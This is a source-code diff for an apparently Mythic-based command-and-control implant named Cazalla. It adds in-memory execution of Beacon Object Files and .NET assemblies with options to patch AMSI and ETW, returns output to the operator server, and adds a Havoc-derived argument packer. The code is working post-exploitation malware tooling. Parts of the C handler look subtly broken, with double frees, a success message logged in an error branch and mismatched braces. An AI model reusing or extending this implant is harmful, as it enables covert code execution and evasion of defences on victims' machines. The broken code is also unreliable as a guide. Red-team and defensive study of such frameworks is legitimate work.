INT32 etw = *(INT32*)((PBYTE)bofArgs + offset);
|
||||
_inf("[inline_execute] Args: bytes=%u, assembly=%u, wchar=%u, patch_exit=%d, amsi=%d, etw=%d",
|
||||
bytesLen, assemblyLen, wcharLen, patchExit, amsi, etw);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Execute the BOF in a separate thread to prevent agent blocking
|
||||
// This allows the agent to continue even if the BOF hangs or crashes
|
||||
_inf("[inline_execute] === EJECUTANDO BOF EN THREAD SEPARADO ===");
|
||||
_inf("[inline_execute] BOF: buffer=%p, size=%lu, args=%p, argsSize=%zu",
|
||||
bof.buffer, fileSize, bofArgs, bofArgsSize);
|
||||
|
||||
// Prepare thread arguments
|
||||
BOF_THREAD_ARGS threadArgs = {0};
|
||||
threadArgs.bofBuffer = (char*)bof.buffer;
|
||||
threadArgs.bofSize = fileSize;
|
||||
threadArgs.args = (char*)bofArgs;
|
||||
threadArgs.argsSize = bofArgsSize;
|
||||
threadArgs.completed = FALSE;
|
||||
threadArgs.success = FALSE;
|
||||
|
||||
// Create thread to execute BOF
|
||||
HANDLE hThread = CreateThread(NULL, 0, BOFExecutionThread, &threadArgs, 0, NULL);
|
||||
if (!hThread) {
|
||||
_err("[inline_execute] Error creando thread para ejecutar BOF (error: %lu)", GetLastError());
|
||||
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudo crear thread para ejecutar BOF\n");
|
||||
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
|
||||
liberarPaquete(salida);
|
||||
liberarPaquete(respuesta);
|
||||
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
|
||||
if (bof.buffer) LocalFree(bof.buffer);
|
||||
if (bofArgs) LocalFree(bofArgs);
|
||||
if (argumentos) liberarAnalizador(argumentos);
|
||||
return;
|
||||
}
|
||||
|
||||
// Wait for BOF execution with timeout (30 seconds)
|
||||
DWORD timeoutMs = 30000; // 30 seconds
|
||||
_inf("[inline_execute] Esperando ejecución del BOF (timeout=%lu ms)...", timeoutMs);
|
||||
DWORD waitResult = WaitForSingleObject(hThread, timeoutMs);
|
||||
_inf("[inline_execute] WaitForSingleObject retornó: %lu (WAIT_OBJECT_0=%d, WAIT_TIMEOUT=%d)",
|
||||
waitResult, WAIT_OBJECT_0, WAIT_TIMEOUT);
|
||||
|
||||
BOOL bofSuccess = FALSE;
|
||||
if (waitResult == WAIT_OBJECT_0) {
|
||||
// Thread completed
|
||||
_inf("[inline_execute] Thread del BOF completó exitosamente");
|
||||
bofSuccess = threadArgs.success;
|
||||
_inf("[inline_execute] threadArgs.success=%d, threadArgs.completed=%d",
|
||||
threadArgs.success, threadArgs.completed);
|
||||
} else if (waitResult == WAIT_TIMEOUT) {
|
||||
// Thread timed out - BOF is hanging
|
||||
_err("[inline_execute] BOF se colgó (timeout después de %lu ms)", timeoutMs);
|
||||
_inf("[inline_execute] Intentando terminar thread colgado...");
|
||||
// Try to terminate the thread (not ideal, but necessary to unblock agent)
|
||||
if (TerminateThread(hThread, 1)) {
|
||||
_inf("[inline_execute] Thread terminado exitosamente");
|
||||
} else {
|
||||
_inf("[inline_execute] BOF ejecutado exitosamente, capturando output...");
|
||||
_err("[inline_execute] Error terminando thread (error: %lu)", GetLastError());
|
||||
}
|
||||
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] WARNING: BOF se colgó después de %lu segundos\n", timeoutMs / 1000);
|
||||
bofSuccess = FALSE;
|
||||
} else {
|
||||
// Wait failed
|
||||
_err("[inline_execute] Error esperando thread del BOF (waitResult=%lu, error: %lu)",
|
||||
waitResult, GetLastError());
|
||||
bofSuccess = FALSE;
|
||||
}
|
||||
|
||||
CloseHandle(hThread);
|
||||
|
||||
// Always try to capture output, even if BOF returned FALSE
|
||||
// The BOF might have produced output via BeaconPrintf before crashing
|
||||
// Get output from Beacon compatibility layer
|
||||
int outdataSize = 0;
|
||||
PCHAR outdata = BeaconGetOutputData(&outdataSize);
|
||||
_inf("[inline_execute] Output capturado: size=%d, ptr=%p", outdataSize, outdata);
|
||||
|
||||
if (outdata && outdataSize > 0) {
|
||||
_inf("[inline_execute] Agregando output al paquete: %d bytes", outdataSize);
|
||||
// Debug: log first 200 bytes of output
|
||||
int logLen = (outdataSize > 200) ? 200 : outdataSize;
|
||||
_inf("[inline_execute] Primeros %d bytes del output: %.*s", logLen, logLen, outdata);
|
||||
addBytes(salida, (PBYTE)outdata, outdataSize, TRUE);
|
||||
free(outdata);
|
||||
} else {
|
||||
_inf("[inline_execute] No hay output del BOF (outdataSize=%d)", outdataSize);
|
||||
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] BOF ejecutado exitosamente (sin output)\n");
|
||||
}
|
||||
}
|
||||
|
||||
_inf("[inline_execute] Tamaño del paquete salida antes de agregar a respuesta: %zu bytes", salida->length);
|
||||
// If BOF failed but we have output, add a warning
|
||||
if (!bofSuccess) {
|
||||
PackageAddFormatPrintf(salida, FALSE, "\n[WARNING] BOF execution may have failed, but output was captured\n");
|
||||
}
|
||||
} else {
|
||||
if (bofSuccess) {
|
||||
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] BOF ejecutado exitosamente (sin output)\n");
|
||||
} else {
|
||||
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudo ejecutar el BOF\n");
|
||||
}
|
||||
}
|
||||
|
||||
// Add output to response FIRST (before artifacts)
|
||||
// Format must be: [UUID_tarea][output_len][output][marcadores...]
|
||||
_inf("[inline_execute] Agregando output a respuesta: %zu bytes", salida->length);
|
||||
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
|
||||
// Add Process Create artifact AFTER output
|
||||
// BOF execution creates process artifacts
|
||||
char artifact_buf[512];
|
||||
if (argsJson && argsLen > 0) {
|
||||
snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s, args=%.*s",
|
||||
(int)fileIdLen, fileId, (int)(argsLen > 100 ? 100 : argsLen), argsJson);
|
||||
if (bofArgs && bofArgsSize > 0) {
|
||||
snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s, args_size=%zu",
|
||||
(int)fileIdLen, fileId, bofArgsSize);
|
||||
} else {
|
||||
snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s", (int)fileIdLen, fileId);
|
||||
}
|
||||
addArtifact(respuesta, "Process Create", artifact_buf);
|
||||
|
||||
_inf("[inline_execute] Tamaño del paquete respuesta antes de enviar: %zu bytes", respuesta->length);
|
||||
|
||||
// Send response
|
||||
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
|
||||
if (respuestaAnalizador) {
|
||||
liberarAnalizador(respuestaAnalizador);
|
||||
} else {
|
||||
_err("[inline_execute] ERROR: mandarPaquete retornó NULL - la respuesta no se envió");
|
||||
}
|
||||
liberarPaquete(salida);
|
||||
liberarPaquete(respuesta);
|
||||
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
|
||||
|
||||
// Cleanup
|
||||
if (bof.buffer) LocalFree(bof.buffer);
|
||||
if (bofArgs) LocalFree(bofArgs);
|
||||
if (argumentos) liberarAnalizador(argumentos);
|
||||
|
||||
_inf("===== InlineExecuteHandler FIN =====");
|
||||
if (bof.buffer) {
|
||||
LocalFree(bof.buffer);
|
||||
bof.buffer = NULL;
|
||||
}
|
||||
if (bofArgs) {
|
||||
LocalFree(bofArgs);
|
||||
bofArgs = NULL;
|
||||
}
|
||||
if (argumentos) {
|
||||
liberarAnalizador(argumentos);
|
||||
argumentos = NULL;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -122,6 +122,15 @@ static VOID flushRpfwdTraffic(PPaquete paquete) {
|
||||
|
||||
/* === Enviar paquete con soporte SOCKS === */
|
||||
PAnalizador mandarPaquete(PPaquete paquete) {
|
||||
_inf("=== mandarPaquete INICIO === len=%zu", paquete->length);
|
||||
if (!paquete) {
|
||||
_err("mandarPaquete: paquete es NULL");
|
||||
return NULL;
|
||||
}
|
||||
if (!paquete->buffer) {
|
||||
_err("mandarPaquete: paquete->buffer es NULL");
|
||||
return NULL;
|
||||
}
|
||||
_dbg("mandarPaquete() len=%zu", paquete->length);
|
||||
|
||||
// Solo añadir tráfico SOCKS si el proxy está activo
|
||||
@@ -251,10 +260,11 @@ PAnalizador mandarPaquete(PPaquete paquete) {
|
||||
}
|
||||
|
||||
if (!respuesta) {
|
||||
_err("respuesta NULL");
|
||||
_err("mandarPaquete: respuesta NULL después de mandarYRecibir");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
_inf("mandarPaquete: respuesta recibida exitosamente (tamano=%zu)", respuesta->tamano);
|
||||
_dbg("respuesta OK");
|
||||
|
||||
// === Decodificar base64 de la respuesta ===
|
||||
|
||||
@@ -2,6 +2,100 @@ from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
import json
|
||||
|
||||
# Completion callback for BOF execution
|
||||
async def coff_completion_callback(completionMsg: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse:
|
||||
try:
|
||||
out = ""
|
||||
response = PTTaskCompletionFunctionMessageResponse(Success=True, TaskStatus="success", Completed=True)
|
||||
|
||||
# Get parent task ID
|
||||
parent_task_id = completionMsg.TaskData.Task.ID if completionMsg.TaskData and completionMsg.TaskData.Task else None
|
||||
if not parent_task_id:
|
||||
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error="No parent task ID found")
|
||||
|
||||
# Get subtask ID
|
||||
subtask_id = None
|
||||
if hasattr(completionMsg, 'SubtaskData') and completionMsg.SubtaskData:
|
||||
if hasattr(completionMsg.SubtaskData, 'Task') and completionMsg.SubtaskData.Task:
|
||||
subtask_id = completionMsg.SubtaskData.Task.ID
|
||||
|
||||
if not subtask_id:
|
||||
# Try alternative attribute names
|
||||
if hasattr(completionMsg, 'Subtask') and completionMsg.Subtask:
|
||||
if hasattr(completionMsg.Subtask, 'ID'):
|
||||
subtask_id = completionMsg.Subtask.ID
|
||||
elif hasattr(completionMsg.Subtask, 'TaskID'):
|
||||
subtask_id = completionMsg.Subtask.TaskID
|
||||
|
||||
if not subtask_id:
|
||||
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
|
||||
TaskID=parent_task_id,
|
||||
Response="[ERROR] No subtask ID found in completion message"
|
||||
))
|
||||
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error="No subtask ID found")
|
||||
|
||||
# Search for responses from the subtask
|
||||
responses = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage(TaskID=subtask_id))
|
||||
|
||||
if not responses.Success:
|
||||
error_detail = getattr(responses, 'Error', 'Unknown error') if hasattr(responses, 'Error') else 'Unknown error'
|
||||
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
|
||||
TaskID=parent_task_id,
|
||||
Response=f"[ERROR] Failed to search responses for subtask {subtask_id}: {error_detail}"
|
||||
))
|
||||
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error=error_detail)
|
||||
|
||||
# Process responses if they exist
|
||||
responses_list = None
|
||||
if hasattr(responses, 'Responses'):
|
||||
responses_list = responses.Responses
|
||||
elif hasattr(responses, 'responses'):
|
||||
responses_list = responses.responses
|
||||
elif hasattr(responses, 'Response'):
|
||||
responses_list = [responses.Response] if responses.Response else []
|
||||
|
||||
if responses_list:
|
||||
for output in responses_list:
|
||||
if hasattr(output, 'Response'):
|
||||
out += str(output.Response)
|
||||
elif hasattr(output, 'response'):
|
||||
out += str(output.response)
|
||||
elif hasattr(output, 'Message'):
|
||||
out += str(output.Message)
|
||||
elif hasattr(output, 'message'):
|
||||
out += str(output.message)
|
||||
elif isinstance(output, str):
|
||||
out += output
|
||||
elif isinstance(output, bytes):
|
||||
out += output.decode('utf-8', errors='ignore')
|
||||
else:
|
||||
out += str(output)
|
||||
|
||||
# If no output was found, indicate successful execution
|
||||
if not out:
|
||||
out = "[BOF executed successfully but produced no output]"
|
||||
|
||||
# Send the aggregated output back to the parent task
|
||||
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
|
||||
TaskID=parent_task_id,
|
||||
Response=out
|
||||
))
|
||||
return response
|
||||
|
||||
except Exception as e:
|
||||
import traceback
|
||||
error_msg = f"[ERROR] Exception in coff_completion_callback: {str(e)}\n{traceback.format_exc()}"
|
||||
try:
|
||||
parent_task_id = completionMsg.TaskData.Task.ID if completionMsg.TaskData and completionMsg.TaskData.Task else None
|
||||
if parent_task_id:
|
||||
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
|
||||
TaskID=parent_task_id,
|
||||
Response=error_msg
|
||||
))
|
||||
except:
|
||||
pass # If we can't send the error, at least return failure
|
||||
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error=str(e))
|
||||
|
||||
class InlineExecuteArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
@@ -40,13 +134,14 @@ class InlineExecuteArguments(TaskArguments):
|
||||
display_name="Arguments",
|
||||
type=ParameterType.TypedArray,
|
||||
default_value=[],
|
||||
choices=["int16", "int32", "string", "wchar", "base64"],
|
||||
choices=["int16", "int32", "string", "wchar", "base64", "bytes"],
|
||||
description="""Arguments to pass to the BOF via the following way:
|
||||
-s:123 or int16:123
|
||||
-i:123 or int32:123
|
||||
-z:hello or string:hello
|
||||
-Z:hello or wchar:hello
|
||||
-b:abc== or base64:abc==""",
|
||||
-b:abc== or base64:abc==
|
||||
bytes:hexstring (hexadecimal string of bytes)""",
|
||||
typedarray_parse_function=self.get_arguments,
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
@@ -64,9 +159,11 @@ class InlineExecuteArguments(TaskArguments):
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Must supply arguments")
|
||||
# This is only called when user types command directly
|
||||
# Subtasks use parse_dictionary instead
|
||||
if len(self.command_line) > 0:
|
||||
raise ValueError("Must supply named arguments or use the modal")
|
||||
# If command_line is empty, do nothing (subtask will use parse_dictionary)
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
# Allowed argument keys
|
||||
@@ -105,6 +202,9 @@ class InlineExecuteArguments(TaskArguments):
|
||||
bof_arguments.append(["wchar",value])
|
||||
elif argType == "base64" or argType == "-b" or argType == "b":
|
||||
bof_arguments.append(["base64",value])
|
||||
elif argType == "bytes":
|
||||
# bytes type expects a hexadecimal string
|
||||
bof_arguments.append(["bytes",value])
|
||||
else:
|
||||
return PTRPCTypedArrayParseFunctionMessageResponse(Success=False,
|
||||
Error=f"Failed to parse argument: {argument}: Unknown value type.")
|
||||
@@ -149,6 +249,7 @@ class InlineExecuteCommand(CommandBase):
|
||||
author = "@c0rnbread (adapted for Cazalla)"
|
||||
attackmapping = []
|
||||
argument_class = InlineExecuteArguments
|
||||
completion_functions = {"coff_completion_callback": coff_completion_callback}
|
||||
attributes = CommandAttributes(
|
||||
builtin=False,
|
||||
supported_os=[ SupportedOS.Windows ],
|
||||
@@ -163,19 +264,26 @@ class InlineExecuteCommand(CommandBase):
|
||||
|
||||
try:
|
||||
groupName = taskData.args.get_parameter_group_name()
|
||||
if groupName == "New":
|
||||
|
||||
# Check if bof_file is provided (from subtask or "New" group)
|
||||
if taskData.args.get_arg("bof_file"):
|
||||
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
||||
TaskID=taskData.Task.ID,
|
||||
AgentFileID=taskData.args.get_arg("bof_file")
|
||||
))
|
||||
if file_resp.Success:
|
||||
if len(file_resp.Files) > 0:
|
||||
pass
|
||||
# Set display parameters
|
||||
if groupName != "New": # Don't override if already set
|
||||
response.DisplayParams = "-bof_file {} -bof_arguments {}".format(
|
||||
file_resp.Files[0].Filename,
|
||||
taskData.args.get_arg("bof_arguments")
|
||||
)
|
||||
else:
|
||||
raise Exception("Failed to find that file")
|
||||
else:
|
||||
raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error))
|
||||
elif groupName == "Default":
|
||||
elif groupName == "Default" or taskData.args.get_arg("bof_name"):
|
||||
# We're trying to find an already existing file and use that
|
||||
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
||||
TaskID=taskData.Task.ID,
|
||||
@@ -198,6 +306,8 @@ class InlineExecuteCommand(CommandBase):
|
||||
raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
|
||||
else:
|
||||
raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error))
|
||||
else:
|
||||
raise Exception("Either bof_name or bof_file must be provided")
|
||||
except Exception as e:
|
||||
raise Exception("Error from Mythic: " + str(e))
|
||||
|
||||
|
||||
@@ -8,6 +8,118 @@ logging.basicConfig(level=logging.INFO)
|
||||
# Wrapper function for Inline-EA
|
||||
# BoF Credits: https://github.com/EricEsquivel/Inline-EA
|
||||
|
||||
# Completion callback for BOF execution
|
||||
# This captures output from the subtask and displays it in the main command
|
||||
async def coff_completion_callback(completionMsg: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse:
|
||||
try:
|
||||
out = ""
|
||||
response = PTTaskCompletionFunctionMessageResponse(Success=True, TaskStatus="success", Completed=True)
|
||||
|
||||
# Get parent task ID
|
||||
parent_task_id = completionMsg.TaskData.Task.ID if completionMsg.TaskData and completionMsg.TaskData.Task else None
|
||||
if not parent_task_id:
|
||||
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error="No parent task ID found")
|
||||
|
||||
# Get subtask ID
|
||||
subtask_id = None
|
||||
if hasattr(completionMsg, 'SubtaskData') and completionMsg.SubtaskData:
|
||||
if hasattr(completionMsg.SubtaskData, 'Task') and completionMsg.SubtaskData.Task:
|
||||
subtask_id = completionMsg.SubtaskData.Task.ID
|
||||
|
||||
if not subtask_id:
|
||||
# Try alternative attribute names
|
||||
if hasattr(completionMsg, 'Subtask') and completionMsg.Subtask:
|
||||
if hasattr(completionMsg.Subtask, 'ID'):
|
||||
subtask_id = completionMsg.Subtask.ID
|
||||
elif hasattr(completionMsg.Subtask, 'TaskID'):
|
||||
subtask_id = completionMsg.Subtask.TaskID
|
||||
|
||||
if not subtask_id:
|
||||
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
|
||||
TaskID=parent_task_id,
|
||||
Response="[ERROR] No subtask ID found in completion message"
|
||||
))
|
||||
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error="No subtask ID found")
|
||||
|
||||
# Search for responses from the subtask
|
||||
# Add a small delay to ensure the response is available
|
||||
import asyncio
|
||||
await asyncio.sleep(1.0) # Wait 1 second for response to be processed
|
||||
|
||||
responses = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage(TaskID=subtask_id))
|
||||
|
||||
logging.info(f"[coff_completion_callback] Searching responses for subtask {subtask_id}, Success={responses.Success}")
|
||||
logging.info(f"[coff_completion_callback] Response object type: {type(responses)}")
|
||||
logging.info(f"[coff_completion_callback] Response object attributes: {dir(responses)}")
|
||||
|
||||
if not responses.Success:
|
||||
error_detail = getattr(responses, 'Error', 'Unknown error') if hasattr(responses, 'Error') else 'Unknown error'
|
||||
logging.warning(f"[coff_completion_callback] Failed to search responses: {error_detail}")
|
||||
# Don't return error, just log it and continue
|
||||
|
||||
# Process responses if they exist
|
||||
responses_list = None
|
||||
if responses.Success:
|
||||
if hasattr(responses, 'Responses'):
|
||||
responses_list = responses.Responses
|
||||
logging.info(f"[coff_completion_callback] Found responses.Responses: {len(responses_list) if responses_list else 0} items")
|
||||
elif hasattr(responses, 'responses'):
|
||||
responses_list = responses.responses
|
||||
logging.info(f"[coff_completion_callback] Found responses.responses: {len(responses_list) if responses_list else 0} items")
|
||||
elif hasattr(responses, 'Response'):
|
||||
responses_list = [responses.Response] if responses.Response else []
|
||||
logging.info(f"[coff_completion_callback] Found responses.Response: {len(responses_list) if responses_list else 0} items")
|
||||
else:
|
||||
logging.warning(f"[coff_completion_callback] No known response attribute found in response object")
|
||||
|
||||
if responses_list:
|
||||
logging.info(f"[coff_completion_callback] Processing {len(responses_list)} response items")
|
||||
for idx, output in enumerate(responses_list):
|
||||
logging.info(f"[coff_completion_callback] Processing response item {idx}, type: {type(output)}")
|
||||
if hasattr(output, 'Response'):
|
||||
out += str(output.Response)
|
||||
elif hasattr(output, 'response'):
|
||||
out += str(output.response)
|
||||
elif hasattr(output, 'Message'):
|
||||
out += str(output.Message)
|
||||
elif hasattr(output, 'message'):
|
||||
out += str(output.message)
|
||||
elif hasattr(output, 'output'):
|
||||
out += str(output.output)
|
||||
elif isinstance(output, str):
|
||||
out += output
|
||||
elif isinstance(output, bytes):
|
||||
out += output.decode('utf-8', errors='ignore')
|
||||
else:
|
||||
logging.info(f"[coff_completion_callback] Converting output to string, type: {type(output)}")
|
||||
out += str(output)
|
||||
|
||||
# If no output was found, indicate successful execution
|
||||
if not out:
|
||||
logging.warning(f"[coff_completion_callback] No output found for subtask {subtask_id}")
|
||||
out = "[Assembly executed successfully but produced no output]"
|
||||
|
||||
# Send the aggregated output back to the parent task
|
||||
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
|
||||
TaskID=parent_task_id,
|
||||
Response=out
|
||||
))
|
||||
return response
|
||||
|
||||
except Exception as e:
|
||||
import traceback
|
||||
error_msg = f"[ERROR] Exception in coff_completion_callback: {str(e)}\n{traceback.format_exc()}"
|
||||
try:
|
||||
parent_task_id = completionMsg.TaskData.Task.ID if completionMsg.TaskData and completionMsg.TaskData.Task else None
|
||||
if parent_task_id:
|
||||
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
|
||||
TaskID=parent_task_id,
|
||||
Response=error_msg
|
||||
))
|
||||
except:
|
||||
pass
|
||||
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error=str(e))
|
||||
|
||||
class InlineExecuteAssemblyArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
@@ -130,9 +242,16 @@ class InlineExecuteAssemblyArguments(TaskArguments):
|
||||
return response
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Must supply arguments")
|
||||
# This is only called when user types command directly
|
||||
# Subtasks use parse_dictionary instead
|
||||
if len(self.command_line) > 0:
|
||||
raise ValueError("Must supply named arguments or use the modal")
|
||||
# If command_line is empty, do nothing (subtask will use parse_dictionary)
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
# This is called when using the modal UI or when called as a subtask
|
||||
# Just load the arguments directly
|
||||
self.load_args_from_dictionary(dictionary_arguments)
|
||||
|
||||
class InlineExecuteAssemblyCommand(CommandBase):
|
||||
cmd = "inline_execute_assembly"
|
||||
@@ -144,6 +263,7 @@ class InlineExecuteAssemblyCommand(CommandBase):
|
||||
script_only = True
|
||||
attackmapping = []
|
||||
argument_class = InlineExecuteAssemblyArguments
|
||||
completion_functions = {"coff_completion_callback": coff_completion_callback}
|
||||
attributes = CommandAttributes(
|
||||
dependencies=["inline_execute"],
|
||||
alias=True
|
||||
@@ -217,6 +337,7 @@ class InlineExecuteAssemblyCommand(CommandBase):
|
||||
)
|
||||
|
||||
# Arguments depend on the BOF
|
||||
# Note: Using bof_name instead of bof_file to match Xenon's implementation
|
||||
file_name = "inline-ea.x64.o"
|
||||
arguments = [
|
||||
[
|
||||
@@ -229,31 +350,43 @@ class InlineExecuteAssemblyCommand(CommandBase):
|
||||
],
|
||||
[
|
||||
"wchar",
|
||||
taskData.args.get_arg("assembly_arguments") # Assembly argument string
|
||||
taskData.args.get_arg("assembly_arguments") or "" # Assembly argument string
|
||||
],
|
||||
[
|
||||
"int32",
|
||||
taskData.args.get_arg("patch_exit") # BOOL
|
||||
1 if taskData.args.get_arg("patch_exit") else 0 # BOOL: convert to 1 or 0
|
||||
],
|
||||
[
|
||||
"int32",
|
||||
taskData.args.get_arg("amsi") # BOOL
|
||||
1 if taskData.args.get_arg("amsi") else 0 # BOOL: convert to 1 or 0
|
||||
],
|
||||
[
|
||||
"int32",
|
||||
taskData.args.get_arg("etw") # BOOL
|
||||
1 if taskData.args.get_arg("etw") else 0 # BOOL: convert to 1 or 0
|
||||
]
|
||||
|
||||
]
|
||||
|
||||
# Run inline_execute subtask
|
||||
# Find the BOF file first
|
||||
bof_file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
||||
TaskID=taskData.Task.ID,
|
||||
Filename=file_name,
|
||||
LimitByCallback=False,
|
||||
MaxResults=1
|
||||
))
|
||||
|
||||
if not bof_file_resp.Success or len(bof_file_resp.Files) == 0:
|
||||
raise Exception(f"Failed to find BOF file '{file_name}': {bof_file_resp.Error if bof_file_resp.Success else 'File not found'}")
|
||||
|
||||
# Create subtask to execute inline_execute with the BOF
|
||||
# Use coff_completion_callback to capture output and display it in the main command
|
||||
subtask = await SendMythicRPCTaskCreateSubtask(
|
||||
MythicRPCTaskCreateSubtaskMessage(
|
||||
taskData.Task.ID,
|
||||
CommandName="inline_execute",
|
||||
SubtaskCallbackFunction="coff_completion_callback",
|
||||
Params=json.dumps({
|
||||
"bof_name": file_name,
|
||||
"bof_file": bof_file_resp.Files[0].AgentFileId,
|
||||
"bof_arguments": arguments
|
||||
}),
|
||||
Token=taskData.Task.TokenID,
|
||||
|
||||
@@ -1,4 +1,6 @@
|
||||
import json
|
||||
import base64
|
||||
from .utils import Packer
|
||||
|
||||
commands = {
|
||||
"get_tasking": {"hex_code": 0x00, "input_type": None},
|
||||
@@ -215,6 +217,7 @@ def responseTasking(tasks):
|
||||
|
||||
elif commands[command_to_run]["input_type"] == "bof_special":
|
||||
# inline_execute: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args]
|
||||
# Similar to Xenon: serialize arguments in translator using Packer
|
||||
parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {}
|
||||
file_id = parameters.get("bof_file", "")
|
||||
|
||||
@@ -224,16 +227,49 @@ def responseTasking(tasks):
|
||||
data += len(file_id_bytes).to_bytes(4, "big")
|
||||
data += file_id_bytes
|
||||
|
||||
# Add BOF arguments (serialized)
|
||||
# Serialize BOF arguments using Packer (like Xenon)
|
||||
bof_args = parameters.get("bof_arguments", [])
|
||||
args_str = json.dumps(bof_args) if bof_args else ""
|
||||
args_bytes = args_str.encode('utf-8')
|
||||
data += len(args_bytes).to_bytes(4, "big")
|
||||
data += args_bytes
|
||||
if bof_args and len(bof_args) > 0:
|
||||
packer = Packer()
|
||||
# Handle TypedList as single length-prefixed argument to Agent (like Xenon)
|
||||
for item in bof_args:
|
||||
item_type, item_value = item
|
||||
if item_type == "int16":
|
||||
packer.addshort(int(item_value))
|
||||
elif item_type == "int32":
|
||||
# Convert to int, handling both bool and int values
|
||||
if isinstance(item_value, bool):
|
||||
packer.adduint32(1 if item_value else 0)
|
||||
else:
|
||||
packer.adduint32(int(item_value))
|
||||
elif item_type == "bytes":
|
||||
# Convert hex string to bytes
|
||||
packer.addbytes(bytes.fromhex(item_value))
|
||||
elif item_type == "string":
|
||||
packer.addstr(item_value)
|
||||
elif item_type == "wchar":
|
||||
packer.addWstr(item_value)
|
||||
elif item_type == "base64":
|
||||
try:
|
||||
decoded_value = base64.b64decode(item_value)
|
||||
packer.addstr(decoded_value)
|
||||
except Exception:
|
||||
print(f"[TRANSLATOR] Error: Invalid base64 string: {item_value}")
|
||||
# Fallback: add as empty string
|
||||
packer.addstr("")
|
||||
|
||||
# Packer.getbuffer() returns length-prefixed buffer: [size:4 bytes LE][data]
|
||||
packed_params = packer.getbuffer()
|
||||
# Send as length-prefixed string (big-endian for length prefix, like other strings)
|
||||
data += len(packed_params).to_bytes(4, "big")
|
||||
data += packed_params
|
||||
else:
|
||||
# No arguments - send empty buffer
|
||||
data += (0).to_bytes(4, "big")
|
||||
|
||||
task_size = len(data)
|
||||
dataTask += task_size.to_bytes(4, "big") + data
|
||||
print(f"[TRANSLATOR] inline_execute: file_id={file_id}, args_len={len(args_bytes)}")
|
||||
print(f"[TRANSLATOR] inline_execute: file_id={file_id}, args_packed={len(bof_args) if bof_args else 0} items")
|
||||
|
||||
elif commands[command_to_run]["input_type"] == "assembly_special":
|
||||
# inline_execute_assembly or execute_assembly: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args]
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import base64
|
||||
import os
|
||||
from struct import pack, calcsize
|
||||
|
||||
def getBytesWithSize(data):
|
||||
"""
|
||||
@@ -29,3 +30,69 @@ def getBytesWithSize(data):
|
||||
return data[:size], b""
|
||||
|
||||
return data[:size], data[size:]
|
||||
|
||||
|
||||
class Packer:
|
||||
"""
|
||||
Packed data into length-prefixed binary format.
|
||||
|
||||
Reference: From Havoc framework https://github.com/HavocFramework/Modules/blob/main/Packer/packer.py
|
||||
Adapted from Xenon's implementation
|
||||
"""
|
||||
def __init__(self):
|
||||
self.buffer : bytes = b''
|
||||
self.size : int = 0
|
||||
|
||||
def getbuffer(self):
|
||||
"""Returns length-prefixed buffer: [size:4 bytes little-endian][data]"""
|
||||
return pack("<L", self.size) + self.buffer
|
||||
|
||||
def addstr(self, s):
|
||||
"""Add a null-terminated string"""
|
||||
if s is None:
|
||||
s = ''
|
||||
if isinstance(s, str):
|
||||
s = s.encode("utf-8")
|
||||
